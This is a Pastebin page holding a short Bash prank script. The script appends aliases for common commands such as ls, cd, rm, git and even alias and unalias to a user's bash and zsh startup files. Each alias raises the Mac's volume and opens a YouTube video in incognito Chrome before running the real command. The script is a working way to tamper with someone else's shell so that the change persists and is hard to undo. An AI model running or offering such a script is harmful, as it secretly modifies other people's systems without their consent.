Advertisement
Guest User

surok

a guest
Oct 21st, 2019
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.54 KB | None | 0 0
  1. #!/bin/bash
  2. LINK='https://youtu.be/Pgs79yOlhGI?t=2'
  3. VOLUME='8'
  4.  
  5. for cmd in 'ls' 'cat' 'unalias' 'python' 'python3' 'gcc' 'g++' 'vim' 'cd' 'nano' 'emacs' 'rm' 'git' 'find' 'make' 'open' 'alias'
  6. do
  7.     ALIAS_FUNCTION="osascript -e 'set Volume ${VOLUME}' && open -na 'Google Chrome' --args --incognito '${LINK}'; ${cmd}"
  8.     ALIAS="alias ${cmd}=\"${ALIAS_FUNCTION}\""
  9.     echo ${ALIAS} >> ~/.zshrc
  10.     echo ${ALIAS} >> ~/.bashrc
  11.     echo ${ALIAS} >> ~/.bash_profile
  12. done
  13. bash -c "source ~/.bash_profile"
  14. bash -c "source ~/.bashrc"
  15. zsh  -c "source ~/.zshrc"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement